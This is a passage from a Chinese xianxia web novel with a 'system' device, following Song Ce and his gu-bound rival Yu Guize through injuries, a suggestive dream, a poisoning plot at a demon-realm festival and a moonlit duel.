“宿主,不行你只能有我一个系统!你只能有我一个外挂!”系统瞬间不乐意了,这老头别人看不见听不见,还很有修行经验,这和金手指有什么区别,系统担心宿主以后一心放在修行上,这任务还做不做了?
“咳咳咳……”宋策不断咽下喉间腥甜,心口像是有一把钝刀不断切割着,疼痛感如波浪一阵一阵蔓延全身,宋策没工夫搭理旁人,只想赶快离开这里。
傍晚的霞光铺满天地,远处的红光如赤焰,宋策迎着落日余晖跌跌撞撞地往喻归泽的住处走,一路上为了不惹人注目,尽量避开人迹。
咳也咳不出血,但能感受到液体上涌,窒息感如不透风的绫纱一层层裹住口鼻,宋策低声骂了一句。
“喻归泽,你最好还能喘气。”
凤鸣宗内门比外门豪华的多,喻归泽住的地方在青云峰,山势挺拔,半山腰纤云缭绕,雾气朦胧,远处不断有仙鹤飞过,翘起的屋檐上停着奇珍异兽,宋策经过时还能惹得几只灵兽侧目。
宋策翻手将喻归泽给他的腰牌拿在手上,轻车熟路地进入青云峰,穿过溪水潺潺的林间小道,宋策直接找到喻归泽住处。
“你是——”
背后无端一道声音响起,宋策直接忽视踏入喻归泽的住处。
屋内陈设简单,外面与里面隔着层层纱帘,纱帘之外悬着素色珠帘,窗外风轻轻吹过留下整整清脆悦耳的声音。
层层纱幔随风舞动,宋策站在外面看着里处残影一动不动地坐着,他拧着眉头静静看着,觉得心口憋闷。
“你怎么来了?”
那影子微微动了一瞬,宋策想说话。
“喻师弟,你房中有人吗?”
门外响起有节奏的敲门声,宋策侧身瞥了一眼门外的身影转眼继续看着里屋。
“我刚才看到一个陌生影子往你这边来了,可有意外?”
门外的人语气带着关心,但也保持着应有的礼节。
脚步声渐渐走进,宋策眼前的影子也越来越近,一只修长的手探出纱帘,走出白纱时刻,他低垂的眼睫轻颤微微抬起,眼眸看向门外的影子。
挺拔的身体这时有些倾斜但也不显孱弱,衣襟上沾染着渗出的血渍,喻归泽随后拨开肩上长发,薄唇微启:“无事,师兄。”
“刚才是其他峰的弟子送了些东西进来。”
窗外的枝丫擦过木窗将剪影投射到窗纸上,喻归泽一身敞胸长袍,蛇尾不喜外物裹住,他下身空荡无物,衣带松垮地系在腰间,他神情略显疲累姿态慵懒地斜靠在小塌上。
尾尖勾住床尾折叠整齐的薄被搭在腰间。
“我不是说会让苍月送过去,你来做什么?”
宋策盯着他苍白如纸的脸色,掩下眼底的阴郁,冷声哼笑一声:“我来做什么?”
“我看你死没死。”
喻归泽理着肩膀滑落的衣裳,一分眼神没有给他,垂着眼眸言语冷淡,面上一如竟往清冷,犹如霜雪覆面,刻薄又冷漠
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“药材就在桌上,拿了就走吧,今日我没工夫和你吵。”
喻归泽眉心蹙起,毫无血色的唇瓣无意识地紧抿起,指尖捏着薄被用力而发白,宋策隐约察觉到他浑身细微的颤抖。
喻归泽测过身体留给宋策一个背影,宋策看向他搭在小腹的手,胳膊因用力而线条绷紧,宋策靠近按着他的腰背:“伤的这么重,就这样处理?”
宋策看了眼喻归泽肩背上裹的潦草绷带,喻归泽当公子当惯了,他哪里会收拾自己,受伤了也只会简单处理。
“宿主,你也伤的不轻吧。”
连心蛊虫虽然能控制喻归泽,但是下蛊之人却要分担受蛊之人部分伤痛,宋策刚才无端在藏书阁中吐血,看来就是因为喻归泽在外受伤了。
如果喻归泽处理不好伤口,宋策也要跟着受罪。
喻归泽听见了宋策的话,却充耳不闻将脸埋着枕头,不作回答。
宋策摸着他脸颊,烫的似热铁:“给我看看……”
难得喻归泽这么乖顺,不然换做以前,喻归泽银针早已戳到宋策身上了。
宋策手上顺着压躬起的脊背滑至他的腰弯轻轻一按,身下人浑身猛地一颤。
“这么疼?”
宋策直接强硬地把他掰过来,只见他双目紧闭,口齿死死咬着唇瓣,脸上苍白如纸冷汗如珠冒出。
“在极渊不是将灵草给他炼化了,为什么他身体还这样?”
系统哆哆嗦嗦地迅速搜寻已知的资料推演,好半晌才艰难道:“之前他的身体被毒素伤了根本,能活下来已经不错了,你给他治是治了,但也要好好养着才行啊……”
系统说道最后声音越来越小,他给喻对象做了个全身扫描。
任务对象身上大大小小的伤,因为过度修炼体内还有元气逆冲的迹象,日以继日的消耗身体,铁人还有的磨损呢。
他想快速提升修为境界,但是身体也不能这么造啊。
宋策捏着他双颊,语气算不上好:“你是不是疯子?”
现在连仇人都不知道是谁,就这样乱糟蹋自己的身体,等找到仇人岂不是只剩下一具尸骨。
“放开!”
他难受地神志迷糊只觉得昏沉想睡,但是却被宋策的动作弄得有些清醒。
“阿泽,你这么样了?”
宋策有些烦躁地看向门外再次耸动的黑影,不知道又是哪个多事的家伙。
“我知你为救我受伤,心里实在过意不去,我手里有些治伤的丹药,我来给你上药吧。”
他接连在外面喊了几声,宋策眯着眼看着喻归泽,居然还是救人受的伤,还真是好本事。
为了报仇拼命修炼,现在多管闲事救人把自己弄成这幅鬼样子。
宋策低头狠掐一下喻归泽的脸颊。
身边人吃痛地拧着眉毛掀起一点眼皮,唇口呼出一口浊气,似是听到些什么声音,他眯缝着眼看向宋策。
“又怎么了?”
气音如丝,喻归泽身上痛地麻木,神志混沌这时已经不想再搭理任何人,掀起一点眼皮瞥了眼宋策,没做其他回应。
宋策低声在喻归泽耳边,皮笑肉不笑道,嗓音如含沙般粗哑:“叫你呢,阿泽……”
“什么……”喻归泽神情有一瞬怪异,刚想说什么。
下一秒外面又道:“阿泽,你不说话我就进来了?”
喻归泽听清了外面的声音,忽然本能地将门设了一道禁制,直接坐起身体,他看了眼自己卷在床上的长尾,说:“不必了师兄,我已经在灵草堂找人处理过,不劳烦师兄费心了。”
他的身体不方便找其他人处理伤口,元气受损容易显现本形,只能自己简单处理外伤,现在失血过多只觉得困顿。
“可是——”外面人还想说些什么。
宋策手力道收紧牵制住喻归泽的肩膀,直接将他桎梏在怀中,喻归泽身上像火炉一样烫。
他觉得这人身上乱的如稻草一样绷带碍眼,直接将其拆开打算重新处理。
乱七八糟的,绑的这都是些什么东西?
“快让他滚。”
喻归泽动作缓慢抵不过宋策的强势,神志迟缓愣神地看着宋策。
79. 回忆·现实
“宋哥,你过来。”
眼前陌生的场景朦胧不成型,宋策以为自己又陷入了哪个幻像,转身回眸看向身后,喻归泽正向他招手。
宋策若有所感想后退,但身体却熟练地靠近他,虽不明显,但他察觉到向来以冷厉漠然示人的喻归泽眼底显现的些许轻松神色。
他嘴角似有一些抚慰的笑意,指着手里卷轴给宋策看。
“照这个体态,结合心诀,轮换气息,再唤出灵丹辅助修炼,势必事半功倍。”
“啊?”宋策迅速扫了眼他手里奇怪的卷轴,卷轴上画面朴素完全还原了人体的本质。
他觉得这时候应该说点什么,注意到喻归泽似乎刚沐浴过,他长发沾着水汽,黏在透白的衣上,肌肉线理透过衣衫,能清楚地看见内里颜色。
喻归泽长尾卷绕,绯色鳞片耀眼闪烁几下,一双修长的腿从他宽大的衣袍下显现,衣摆边缘轻轻扫过他染着欲色的脚踝。
衣衫顺滑地跌落,宋策低头一看脚下踩着阵法的纹路,警惕往后一退,喻归泽伸手一揽勾住他的脖颈,气息拂过耳郭,粗热的气息落在皮肤上,低头一瞥到处都是绯色深欲。
这幻像完全不受自己控制,宋策抬手挡在两人胸前,他听见自己说:“这功法于你无益,你——”
“你躺在中间,我自己来。”他像是没听到宋策说话,自顾自靠近,阴影压过来,强势又不讲理。
“系统?系统!”
“系统,是不是你?”
宋策开始怀疑是主世界发布了什么任务,系统擅作主张搞得鬼!
喻归泽轻推着他往复杂法纹的中心走,宋策感觉自己的身体似乎孱弱地要碎,无力地任由喻归泽扶着他的背按在地上,合欢花纹路在中心处泛滥着秾丽艳色,他的眼被喻归泽略作遮掩的手腕吸引。
血色渗透纱布,他问:“你放血了?”
他语气算不上好,带着一些愠怒,挡在两人之间的胳膊愈发用力,不是很想继续这种事,细微的腥味混着他身上的清香,宋策眼底愈沉凝结愈滴。
“我们谈一下,你先松开!”宋策知道不是喻归泽的对手,但能拖延一阵是一阵。
眼前一暗,喻归泽瞳色染红,手掌强硬地按着他的脖颈拉进,拇指亲密地摸过他的脸颊,用力又紧促:“宋策,你以为我在和你商量?”
离得近了些,宋策看着他眼白的血丝逐渐扩张,他一把扯开手腕的绷带任由血液流下,猩红的液体沿着地上的纹路逐步填充花纹颜色。
宋策呼吸都停了,眼前除了红就是白,花白粘连一片,薄汗珠连顺着皮下青筋的纹路滑下,眼前人分外霸道,薄唇鲜红像是染了花色如蚌微张,露出一抹红。
喻归泽一直这么霸道不讲理。
宋策身体似乎僵住完全不能动,手掌落下一瞬间被喻归泽膝盖的灼热烫到一缩,喻归泽不由分说强硬地吻上来,温软贴近的一刻,他垂眸吹下一息:“闭眼。”
黑暗遮挡光明,宋策看到他眼底斑驳惨厉的痛色。
痛意袭来,他眼前一白,耳边的酒杯就势被他扫到地上,迸溅的水渍溅到眼角,许长岁的脸扬着大大的笑倒着出现在他眼前。
“嘿嘿,前辈,我来看你啦!”
“咳咳咳……”
宋策闭了闭眼,起身的刹那还是被呛到,酒水呛的他喉间发痒,接连咳嗽了几声才将烈酒咳出。
宿醉的疼痛突如其来,宋策皱眉看向突然出现在自己眼前的一颗脑袋,有些无奈的的转过身继续睡。
果然是无聊的梦,喻归泽只有被夺舍了才会这么疯。
许长岁转过身子继续盯着宋策:“今日魔族朝圣节哦,听说很热闹,要不要出去玩?”
“不——”宋策伸手挡住眼前窗外照进来的炙热烈阳,刚想拒绝许长岁一把拽着他的胳膊。
光影轮转,宋策只觉得眼前一昏,天旋地转。
一瞬间火光照耀天际,眼前赤红火舞,热闹的长街灯火通明,宋策揉揉太阳穴,随后丢下一颗灵石,拿走路边摆着的果汁,喝了几口。
熟悉的果味带着点酸,宋策昏沉的意识终于好了几分,许长岁欢脱的很,像个花蝴蝶在人群中穿梭,时不时远远招呼几声落单的他,宋策扶额,另一只手呈往外推的姿势示意她先走。
他眼睛瞥向四周想趁机赶快走,省的吵得他烦。
“你又想去哪儿?”
一只手用力按在他的肩头,宋策有所感触地回头果然看到熟悉的几人。
九婴眼底荡漾着戏谑的笑容,他毫无征兆地从苍月背后走出,宋策转身欲走。
“公子,躲在别处让我好找,你不去魔宫,我特意让许姑娘请你出来”,九婴展开扇面拦在宋策面前,狐狸眼眸光流转故作伤怀,“才见面就要走吗,真让我伤心。”
“公子,你既不愿搅和这浑水,我可以随时带你离开!”莫远行不知什么时候出现在他身后,一脸凝重地看着宋策。
“倒也不必,我只是想安静一会。”
三人呈现三角将他环包围,宋策瞬间被气笑了,端着残余的果汁一饮而尽,长吸一口气,随手扔了杯子。
“公子来一杯吗?”
宋策被叫住,他一回身看到递到眼前的烈酒,眉心一挑。
将酒水摆在店门口揽客,酒香勾人,刚想接过。
“我来……”
一只骨节分明手擦过宋策胳膊夺走了那杯子,顺带着丢下灵石。
“公子昨夜宿醉,今日不宜再饮酒。”
莫远行拿过酒二话不说,一饮而尽。
“魔界酒美不伤身,你家公子既爱喝,多饮几杯又何妨?”
玄金丝线绣着暗纹的袍子首先进入眼底,朴素的下袍深色滚边里藏着稀有材质炼制的装饰,往上看他腰间别着一个龙纹佩环,走动时轻轻摇晃透露出不可言的贵气。
苍月视线从他脚底云纹靴向上打量,看清他面容的一瞬间心间猛跳,脱口而出:“顾渊?”
屠沉渊自在悠然地接过小贩递来的酒,向宋策和苍月举杯示意:“好久不见。”
今天是魔族朝圣的日子,举族同庆,况且这个时候魔宫中应当还接待着三界其他人,宋策视线轻扫看了眼他左手拇指带着的玉戒扳指,嘴角微勾。
“你不在魔宫,在这里做什么?”
屠沉渊将他们带到一处酒楼,几人就坐后,那些菜品好似都是提前准备好的,接连从后厨送上来,他坐在窗边毫无礼态,踩着椅子晃着另一只脚。
屠沉渊瞳色稍深,嘴边掠过一丝笑意看向始终沉默的宋策,苍月有几分心性但还是被这种场面震惊到好久说不出话来。
残花落叶,酒楼院中树遮天蔽日,纷繁的花张扬地开着,粗壮古树的零星枝叶随风舞动,残花随风吹进屋内,繁花簌簌,宋策指尖在桌角轻轻划过,捻起一片花瓣吹落。
屠沉渊忍不住咧嘴笑了起来,看向宋策眼底融化的冰,无端松了一口气,他拂去肩上落花,垂下眼眸眼角轻颤,随手抓起一把窗台花瓣纷纷扬扬洒下,残花随风而起。
宋策支起脑袋:“屠沉渊,你很闲?”
“之前你说魔宫厨子不错,不是想尝尝?”屠沉渊眼睛看向远出那座高耸的建筑,魔宫的方向。
清闲的日子不多了,难得见面随意一次又无关紧要。
许长岁记得前辈是说过这事,但一向话痨的她安静如鸡,她被关在魔宫几日都没见过这位,现在是怎么回事?
叙旧?现在?
她小心地看一眼宋策,再看一眼苍月,显然苍月也还陷在恍惚中。
苍月记得顾渊已经死了,但三百年后顾渊就是屠沉渊,他怎么会当上魔界之主?
不过她想到宋策都没死,喻归泽还一手创办了天恒阁,又觉得没什么值得震惊的。
陆续有人从外面进来,细微的香味顺着寥寥焚香充盈包间,布菜的侍从细心地为他们摆盘。
一抹不属于焚香的味道缭绕,宋策侧过身,抬手挡下侍从动作,他看见侍从皮下青筋鼓动。
这陌生的味道过于奇异,又有些熟悉,味道不浓,但对炼药人来说刚刚好。
宋策将筷子反端抵在侍从的手背:“退下。”
他抬眼看着侍从的眼,那侍从面容白净,眼睛有神而目明。
对上宋策的眼光,他反而弯起眼笑着问:“公子可是觉得奴做的不好?”
说着他还侧脸探视屠沉渊的意思。
“退吧。”屠沉渊踏下椅子从窗台下来,眼底有些莫名地情绪与宋策对视一眼。
蓦然酒水迸溅,水光掩映掠过一双杀意四现的眼睛。
宋策往后一退撞上墙,屠沉渊立即封锁出路,架起一道环面屏蔽法阵。
受困之人毫无惧意,手中迅速掐诀势图破阵,可他一介低阶魔怎会是纯血魔尊的对手。
“等等!”
侍从跌倒昏死过去,屠沉渊伸手探他鼻息,他面上黑沉。
没有活体的气息。
宋策掀起这只魔的眼皮,看到他眼下与正常无异,但是颜色却偏淡,瞳色又比正常要偏大一些,他说:“他已经死了很久了。”
“是诡蛊。”
施蛊之人将蛊虫下在活体身上,逐步蚕食活体气息,最终彻底控制□□,就算被控制之人最后真的死了,只要施蛊人术法不停,就能一直保持死者与身前一般无二。
仿佛有思想有意志。
这不人不鬼的东西出现在魔族主城,魔族早已混乱。
“诡蛊极难炼制……”
宋策突然看屠沉渊眼睛:“你没杀屠天兆。”
屠沉渊不语,当年他将皇叔废了之后,顾念一点情谊只将主要几个叛贼关在牢狱中镇压,就在前些日子牢中突遭袭击,几个重刑犯被劫走。
宋策扫了眼满桌的菜,屠沉渊的脸色也极其难看,屠天兆手段狠辣,如果他联合外人为了搅乱情势,只会给现在的魔族带来更大的危机。
这只魔是他从宫里带出来的,如果他在魔宫中就如此,那他身边岂不是早已如蜂窝毫无保留。
众人意识到兹事体大,直接回到魔宫商议。
宴席上宾客众多,大多在前殿商议要紧之事,夙息雪主持大局,暂时没出意外。
“你们魔主就是这么待客的?”
“说是宴请三界,现在这宴席都开了几时了,怎么还没见到屠沉渊?”
“放肆,主君名讳也是你能提的?”
“诸位急什么?急着投胎吗?”低沉的声音穿透大厅,所有人看向缓步落入上座的屠沉渊。
大多人聚集在大殿,但眼下众人之间气氛剑拔弩张,驻守一边的重黎烬脸色如火烧,眼底灼着对这些人的不满,他拔剑挡在屠沉渊一侧,对所有人虎视眈眈,妖界几个话事人一言不发坐在角落对人界和魔界的争执不做表示。
有几个还抱着看热闹的形态吃吃喝喝。
屠沉渊一来就看见这幅模样,他视线轻轻飘过座下众人,看向那傲然独坐的人身上,喻归泽一席皓白衣裳坐在人族中,座位并不显眼,但在所有人中还是一如即往惹人注目。
喻归泽举杯手肘搁在桌面,垂眸喝着,目下无尘一副事不关己的样子,对这些争执视若无睹。
屠沉渊冷笑,眼角瞥过仔细藏匿在众人中间的宋策。
见他若无其事地穿梭在所有人中间,夙息雪察觉到什么,顺着屠沉渊不同寻常的眼神看去。
宋策感觉到一些注视,抬起手中杯遮掩,对夙息雪敬意。
人妖两族对坐,宋策既不是妖族一派也不是人族一派,他眼睛盯着那抹耀眼的白色,坐到一处十分不显眼的地方,喻归泽的斜后方。
这些人的商讨的事情暂时还不是什么机密,要紧的事情恐怕早在前些日子已经商讨过,现在举办这种宴会除了联谊情感,要么就是还有别有所图。
“你们太急了,方才酒楼中菜品我都没尝到……”许长岁言语中有些抱怨,只能说是倒霉了,布菜的魔被蛊虫污染了,害得她都没尝上一口。
大厅中说话声嘈杂不绝,许长岁猫着腰窜到宋策身边,她手里还拿着从集市上买来的一些小玩意,宋策捡了几个扔到嘴里。
“道尊在前面!”
宋策和喻归泽有过节,外界都说道尊脾气不好,为人及其不好相处,他还以为宋策这几日躲在别处就是为了别遇上他呢,现在她觉得自己还是去找九婴前辈比较合适。
喻归泽身边立着一姑娘,他徒弟林离躬身的同时眼神也向后方看过来,一边对喻归泽说着什么。
喻归泽逆着光侧过脸,杯沿贴在他嘴边他似有所思,侧脸只一眼他重新转过,没有再看过来。
许长岁喋喋不休说个不停。
“这些也是一样的。”宋策塞了一个点心堵住她的嘴。
点心进嘴的几秒,她眼睛一亮,直接将注意力放在桌上五花八门的菜上,但宋策没想到她一边吃还能一边说。
“前辈,我觉得我以前好像在哪见过道尊”,许长岁眼神移向宋策的侧脸,眯着眼或有所感,“而且我觉得道尊身上有一股气——”
“前辈,你懂吗,就是一股很特别的气”,她生怕别人不知道她有什么秘密似的捂嘴耳语,“和我爹很像!”
宋脸上有一瞬空白,面露无语地瞟一眼许长岁,扶额遮掩一些奇怪眼色。
夜深了,魔界弦月高悬,光亮如洁白丝绸,一众人接连往殿外走,宋策直接起身从所有人身后走出大殿,让许长岁一个人慢慢唠叨。
“宿主,她说的也没什么错,喻归泽的父亲和许长岁他爹还有点缘分的。”
周牧也不是一开始就是修炼奇才的,早年他其实只是一个四灵根能勉强修炼的散修,偶遇喻归泽父亲叶城,得到叶城的传承,运气比较好没有直接暴体而亡,无意中淬炼了灵根,直接从四灵根变成双灵根,修为境界大涨。
之后像是得到天道眷顾一样,入了风雪门从外门弟子到内门首席大弟子,迎娶那时风雪门的掌门之女许遂意,之后就一路畅通坐上掌门之位。
“他命也是挺好的。”
宋策嘴角冷意肃然:“命好?借了谁的因,就要担谁的果。”
宋策看向大殿人影错落:“他竭力修复不周山残留上古阵法,内里灵府早已枯竭,活不长了。”
这事情还是系统更新时,在喻归泽父亲生平中记载的事项,在联系周牧生平不难猜出他当初是借了喻父的因果。
周牧蹉跎数年走上修仙大道,沧桑半世,如今最担心的是许长岁。
流萤轻盈,微弱闪烁的荧光在荼蘼艳丽的山茶花中穿梭飞舞,一只飞蛾扑扇着翅翼追着萤火戏耍。
月光下萤火四散,宋策挑起遮挡的枝叶,斜倚在花树下闭目养神,恍然察觉到眉心一点痒意,睁开眼就看见了灰褐色的小东西。
嘴角露出几分温和的笑意:“她呢?”
灰蛾落在他指尖,宋策拨弄了一下他的须子:“你怎么没把她一起带回来?”
另一只应该还在喻归泽那里,原本成对一双难得分开。
蛾子上下飞舞,落在他的眉心,翅膀遮住一点光明,翅翼边缘细微擦过他眼睑又陡然飞出视线,宋策转身看去。
飞蛾十分有灵性地拂过他的耳际,针尖精准地错过,死死钉入地下,宋策无所谓地微勾嘴角,看着喻归泽愤慨的模样,总忍不住发笑,每次两人总要这样你死我活。
喻归泽手中幻化一道匕首,寒光乍现,刀锋侧着划过他的脸颊。
宋策念出法诀,几个尸体狰狞着僵硬的四肢从地里爬出,喻归泽眼底划过一丝厌恶,伸手一召,他身后突然出现一个和他一般无二的人。
宋策一惊,侧身躲开直面而来的刀锋,刀气穿过,直接撕开宋策身后的尸体。
宋策目光沉郁滴水,眼底不悦溢于言表:“你故意的是吧。”
他反手剪住喻归泽的胳膊,翻身躲避喻归泽朝他腰腹攻击的动作。
两人思虑从来不在一条线上,宋策修炼修习不走正道,他去坟地炼蛊,控制蛊虫操纵尸体,刚开始只能从普通尸体入手,百日才选出一只能控制修道者的诡虫。
而喻归泽恨不得抓住每一个有用的时间修炼提升修为,满脑子都是报仇,查找当年屠杀他全族的凶手。
宋策想明白了,原来他这些日子不作妖,就是等他炼化蛊虫的最后一刻来找茬,这具和他一模一样的傀儡就是喻归泽这些日子专门制作来对付他的东西。
他日日用精血灌养,就差一步被他给毁了,宋策气的一时郁结在心,气喘上下不止,他恨不得掐死他。
宋策知
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道自己不敌喻归泽,如果没有蛊虫牵制,喻归泽都是吊着他打,毫不留手处处透露杀招,就连近身肉搏,他更不是喻归泽的对手。
喻归泽从小接受过系统性的学习,宋策只在中学被小混混找麻烦时和人起过些肢体冲突。
这打击小混混的三脚猫功夫和一直接受修仙世界精英教育的喻归泽没得比。
喻归泽抬腿狠踹在他的心口,翻涌的血腥味浅冲鼻腔,宋策连着咳处血沫,看着喻归泽因为连心蛊的控制疼的在地上直冒冷汗。
宋策随手擦了嘴角的血迹,血色浸染刀锋如丝如缕,绸线很快缠绕住喻归泽的身体,从心口到肩膀,从肩膀到脸上,线段延伸至宋策的手心。
“喻归泽,你找死是不是?我说你这些日子怎么这么乖。”数月将蛊虫豢养在坟冢,今日最后一日献出精血,也是最虚弱之日,喻归泽就迫不及待来取他性命了。
“就等今天呢是吧?”手腕中心被喻归泽刀尖贯穿,鲜血汩汩不止,宋策毫不在意地扯下衣带简单包扎。
“真不安分”,他缓蹲下捡起喻归泽丢在一边的刀直抵他下颚,看着他冰冷不屈的眼神,宋策冷嗤道,“等我找到切断我们之间的联系的灵器,我亲手挖了你的灵根,让你再也修不了道。”
系统心想,宿主又在胡说八道了,他只说过找到灵物炼化能修复灵丹,没说能切断他们两个人之间的联系。
刀尖缓缓划过他的心口,宋策嘴角潋滟一抹诡谲的笑容:“原先我想着你要是能乖乖听话,我估计还能念及几分同床共枕的情分,将你留在身边。”
“你觉得我会怕?”
喻归泽扬起脖颈朝刀尖靠近,宋策手一顿及时往后一撤,目光凝住眼底深如墨水,他旋即镇定意有所指笑道:“你不怕,但你身边人呢?”
“你什么意思?”喻归泽看着宋策的眼神愈发冷峻,眼中底色翻涌不绝,深浅转化逐渐愈深。
宋策放下刀,伸手捧着他的脸颊,霜寒冷意溢满指缝,宋策忍不住轻微揉搓,觉得有些意思。
或许开始还有些怒火,但现在看他这样却觉得平静,林中雀鸟时不时鸣啼几声,忍住靠近的动作。
“我什么意思?”
“阿泽,我什么意思你还不明白吗?”
喻归泽眉心一凝,眼前人口中分明吐出轻柔缓和的话语,但他薄唇微动之间,那些话好似怪异的符号从他唇舌之间钻出,带着气音含混的怪异,听起来分外讽刺。
“你不让我好过,你也别想如意!”
宋策说:“我正缺一个试炼蛊虫的器皿。”
喻归泽掐着宋策的手,指尖深陷他的皮肉,血丝从两人交叠的手间渗出。
“你放肆!”
“啪!”沉静的夜色中这声响亮的声音彻底击碎了空寂,树林中雀鸟啼叫声越发鲜明。
喻归泽一把推开宋策,眼睛彻底变成他独有的深红,犹如沾染血色的红珠,宋策抚掌掩唇无声笑着,笑的眼都酸了。
树影耸动,惊鸟四散,宋策突然捂住喻归泽的嘴,瞥见一个树洞两人翻身直接滚进藏身。
“别说话。”
宋策紧紧拦住怀里的那一抹白,在月夜下异常明亮鲜艳,宋策只能尽量将所有白色收纳怀中,温热的气息犹如环抱着一滩泉水,起伏温柔。
鬓遍杂草若有若无地蹭着脸颊,宋策还能闻到湿润泥土的味道。
不远处影影绰绰的人影在树影交错间不明不暗。
“主君,小殿下暂时没有性命之忧。“
“安抚好他,让他不要乱来。”
“屠天兆杀了昔日魔主的手下,如今在魔界一手遮天。”说话人声线沉稳平和,但仔细中却能察觉到焦躁。
听了几句,宋策垂眸看着喻归泽,见他垂着眼眸,脸涨的微红,眼角还蹭到一点泥土,宋策低头吹了一口,含糊的气息隐秘在微风中,悄无声息。
“谁?”
几声急促的脚踩踏草叶的摩擦声紧接响起,这里是后山藏剑衣冠冢,靠下面一点的半山斜面的一片就是乱葬岗。
平时鲜少有人巡逻,今天突然出现弟子来检查,屠沉渊也没想到,他身边模糊的影子突如夜色一般消失在树林中,随即若无其事地负手转过身看向来的几个人。
为首的弟子看到他,显然一愣,露出一丝疑惑:“顾渊?”
“你怎么在这里?”
“上官师兄。”
隔着树影宋策见几人说上了话,他心念一动,陡然有所感低头看去。
“上官无思,你的那位师兄。”
喻归泽狠狠一口撕咬宋策下颌软肉,传音道:“你敢!”
“我怎么不敢!”最后一日精血被喻归泽刺破,寄生尸体的蛊虫一瞬间被他那傀儡毁去大半,宋策恨不得生吃了他,咬着他耳郭撕咬直到腥味溢满口中才回神。
宋策收紧手指深陷他的后颈肉,咬牙讽刺:“曦江国赤霄门的上官氏皇子,还真是好人呐,这么照顾你惹得你心心念念。”
“我杀不了你,我杀他!”
不知几人说了什么,很快空地只剩下屠沉渊一个人,宋策托住喻归泽靠近地面的腰,手用力收紧。
黑夜中宋策与屠沉渊隔着树影,屠沉渊转身看向两人藏身的地方,眼尾轻挑,月光下眼瞳深如墨水。
喻归泽紧抿唇,空间越来越小,他忍不住咬紧牙根,忍受着腰部不正常的酸疼:“松手!”
飞蛾流连在他们流血的伤口,轻抚落在鲜红处吸食着混在一起的血液。
喻归泽厌恶地瞥过两只飞蛾,喘息声嘶哑似含恨血:“宋策,带着你的虫子给我滚!”
飞蛾绕着两人双飞几圈从花丛中穿梭而过,宋策歪着脑袋靠在树上,心想喻归泽这种级别的道尊被人夺舍的几率有多大,不然怎么阴魂不散拽着自己不放。
“你不想见我?”
“你不是说在主城相见?躲了这多天是怕我吃你?”喻归泽对上宋策那双玩世不恭的模样,难得玩笑一句。
宋策彻底不再掩饰,琥珀色的瞳色里藏着他熟悉的陌生感,他伸手一招,那两只飞蛾就转着圈落在他指尖。
喻归泽抬手探着一朵艳丽的山茶花,荼蘼灿烂,已有凋谢意,手掌拂过灵力注入花心,卷曲的花瓣瞬间恢复了生机。
宋策沉默地看他将这枝花救活又摘下。
“哪敢?”宋策眉宇微扬。
但下一秒他嘴角笑容僵住,喻归泽将手中茶花插在他鬓边。
他向来不爱束发,瀑布般的长发随意一根绳子绑着披在后背。
茶花无法插入,喻归泽就解开他的发带,像是练习了许多回,手法熟练地为他编发,双鬓的辫子合在一起,喻归泽拿出发冠和簪为他固定。
宋策抬眸忍不住看向喻归泽略显认真的表情。
前殿嘈杂,周围萤火消弭失踪,花园里空气似是凝结成冰般的安静,但不远处的杂乱的场景与这里又显得格格不入。
已经闹起来了。
宋策发现他依然平静无澜仿若无事发生。
“这是打算先礼后兵?”系统有些茫然。
“任务!任务!”系统突然怪叫起来,显示任务进度更新了。
亲密任务居然推进了,系统从喻归泽接触宿主时就开始紧张,但一看到任务栏更新的瞬间觉得宿主一切委屈都值了,恍然大悟,原来宿主都是为了任务。
“好看?”宋策瞳孔微转,万千鲜艳的颜色从他眼中流露,喻归泽指尖忍不住摸了几下他微凉的发尾。
“不错。”
“师尊,赤霄门残党和魔族勾结围剿人族!”
林离按住腰间配剑,一双眼瞪得能掉出来,宋策透过喻归泽肩看到林离身后跟着一众人,声势不算小。
“道尊,魔族内乱,我们——”一个胡须长髥的中年的修士挤过人群,突然看着眼前场景,数目相觑瞠目结舌。
“公子!”
莫远行突然从一侧花丛窜出,眼瞳震颤不已,喻归泽的手还悬在宋策鬓边山茶花上,他想说的话直接卡在喉咙里,不上不下险些呛死。
“公、公子咳咳……”
宋策牵住喻归泽的衣袖顺势躲在他背后,目光灼灼扫过一众人,薄唇弯起:“人真多,我喜欢……”
“炼蛊师也喜欢这样的……”